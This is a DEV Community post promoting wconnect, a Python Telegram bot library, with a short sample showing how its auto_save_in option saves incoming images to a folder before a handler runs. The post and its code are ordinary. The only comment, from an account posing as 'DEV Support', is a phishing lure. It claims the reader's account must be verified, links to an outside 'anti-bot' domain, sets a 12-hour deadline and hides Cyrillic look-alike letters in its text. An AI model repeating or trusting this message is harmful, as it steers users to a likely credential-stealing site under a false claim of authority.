DEV Community

William Rodriguez
William Rodriguez

Posted on

Zero-code media pipelines: Automatic attachment ingestion with auto_save_in.

Zero-code media pipelines: Automatic attachment ingestion with auto_save_in.

Why spend 40 lines of boilerplate downloading images from Telegram CDN before you can run inference? wconnect's auto_save_in lands incoming files directly onto your filesystem before your function runs.

Here is how you implement Zero-Code Attachment Ingestion in production with wconnect:

from wconnect import Wtelegram, WMessage

# Incoming media automatically lands in ./vault_inbox
bot = Wtelegram(auto_save_in="./vault_inbox")

@bot.on_message(value_type="image")
def handle_cv_snapshot(msg: WMessage) -> None:
    # File is already on disk, ready for OpenCV or YOLO!
    print(f"Processing image at: {msg.saved_path}")
    bot.send(to=msg.chat_id, message="Image queued for ML inspection 🔍")

bot.run_consumers(block=True)
Enter fullscreen mode Exit fullscreen mode

Why This Matters:

  • Zero boilerplate decorators (@bot.on_command, @bot.on_message, @bot.consumer).
  • Stream binary files directly from RAM using WFile.
  • Non-blocking daemon poller with run_consumers(block=False).

Check out the repo on GitHub!

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dear Usеr,
Due tо аn іncreasе in bot асtivitу on thе platfоrm, wе rеquirе verіfy of yоur account.
Рleаsе lоg in via the link bеlow:
• anti-bot.icu/5K0N5G7M9C4
Verificated deаdlіnе - 12 hours.
Sincerely,Dev Supроrt

​ ‍ ‌